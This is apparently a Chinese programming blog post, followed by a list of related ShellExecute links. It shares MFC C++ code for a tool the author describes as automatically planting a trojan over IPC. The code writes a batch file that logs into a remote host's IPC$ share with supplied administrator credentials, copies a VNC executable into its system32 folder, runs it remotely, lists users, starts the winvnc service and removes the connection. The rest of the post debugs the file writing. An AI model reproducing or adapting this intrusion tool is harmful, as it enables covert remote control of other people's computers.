今天写了一个用IPC自动种植木马的程序
思路是将要执行的命令写入一个 bat 文件
然后用ShellExecute 执行bat文件
写bat 的文件代码如下:
void CIps4Dlg::OnOK()
{
//构建net use //ip/ipc$ "" /user:"administrator"
CString ip;
CString pass;
CString user;
CString muma;
GetDlgItemText(IDC_EDMUMA,muma);
GetDlgItemText(IDC_EDIP,ip);
GetDlgItemText(IDC_EDUSER,user);
GetDlgItemText(IDC_EDPASS,pass);
CString se1="net use ////";
se1+=ip;
se1+="//ipc$";
se1+=" /"";
se1+=pass;
se1+="/"";
se1+=" /user:/"";
se1+=user;
se1+="/"";
//构建COPY 文件命令
CString se2="copy ";
se2+=muma;
se2+=" ////";
se2=se2+ip;
se2+="//admin$//system32";
//构建运行木马的命令
CString se3="ps ////";
se3=se3+ip;
se3+=" c://winnt//system32//vnc.exe -d";
//查看用户
CString se4="ps ////";
se4=se4+ip;
se4+=" net user";
//用SC开始VNC的服务
CString se5="sc ////";
se5=se5+ip;
se5+=" start winvnc";
//删除IPC连接
CString se6="net use////";
se6=se6+ip;
se6+=" /del";
/////////////////////////////////////////
//将运行命令写入BAT文件
CFile file("bat.bat",CFile::modeCreate|CFile::modeReadWrite);
file.Write(se1,60);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se2,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se3,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se4,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se5,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se6,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write("pause",7);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
}
写入成功后执行:
////////////////////////////////////////
//运行BAT文件
if(ShellExecute (NULL,"open","bat.bat",NULL,NULL,SW_SHOW)<(HANDLE)32)
MessageBox("Can't ShellExecute");
这是出现错误
开始以为是文件的打开放是有误
查了一下msdn
加了一句
CFile::shareExclusive
以读写共享的方式打开文件
可惜失败了!
自己新建一个 bat文件用ShellExecute试一下
成功!这说明用ShellExecute可以调用执行批处理文件
而问题出在 file.write上
仔细观察代码 发现漏了一句!!
file.close();
加上试试成功调用!
写这么一个小程序就发现之么多问题
以后还得多写~~~~~~~~~~~
分享到:
相关推荐
delphi中shellExecute的使用方法......
在C语言源程序中调用API函数ShellExecute 详细解答
Delphi中ShellExecute的使用方法介绍
C# ShellExecute 方法的各种调用的示例源代码
shellEXEcute的使用:调用计算器,调用excel,调用邮箱,调用记事本,打开指定网址的网页,打开指定的txt文件,运行一个DOS命令并立即返回等
win32和wince系统自带的打开exe文件的函数区别
详细的说明ShellExecute函数的用法,该函数的功能很强大的
Auto-Run to media files or already playlist file you had one by using ShellExecute API for OSMSWindowsX
总之,ShellExecute函数就是如此简单地打开磁盘文件和Internet文件。
ShellExecute使用详解,doc格式
使用labview2013中文版编辑,调用shell中的ShellExecute实现打开外部应用程序,VI有详细说明,参数如下: int32_t ShellExecuteA(int32_t hwnd, int32_t lpOperation, CStr paramenters, CStr 参数4, CStr directory...
通过函数ShellExecute(this->m_hWnd,"open","SoftBoard.exe",sPath,"",SW_SHOW );调用已经做好的EXE软键盘,该函数也可以打开网页、记事本或其它程序。
使用ShellExecute函数实现以管理员身份运行程序
win7 shell shellexecute
Crack8_编程小组[K.8] QQ吻 欢迎您 Blog http://qqhack8.blog.163.com
在VC中调用外界程序,DOS命令的几种方法的总结。
6)....Added: Use ShellExecute option for mailto send method 7)....Added: "Mandatory e-mail only when sending" option 8)....Added: Exception line highlighting in disassember view in EurekaLog exception...
记录双击过的快捷方式 你双击快捷方式,我就能记录下来.你双击的任何快捷方式我都知道
鼠标放在上面,超链接字体颜色随机变化、 鼠标移出,颜色不再变化 能打开指定网页
在VC中调用“打开方式...”(open with...)对话框如果执行ShellExecute函数打开文件时,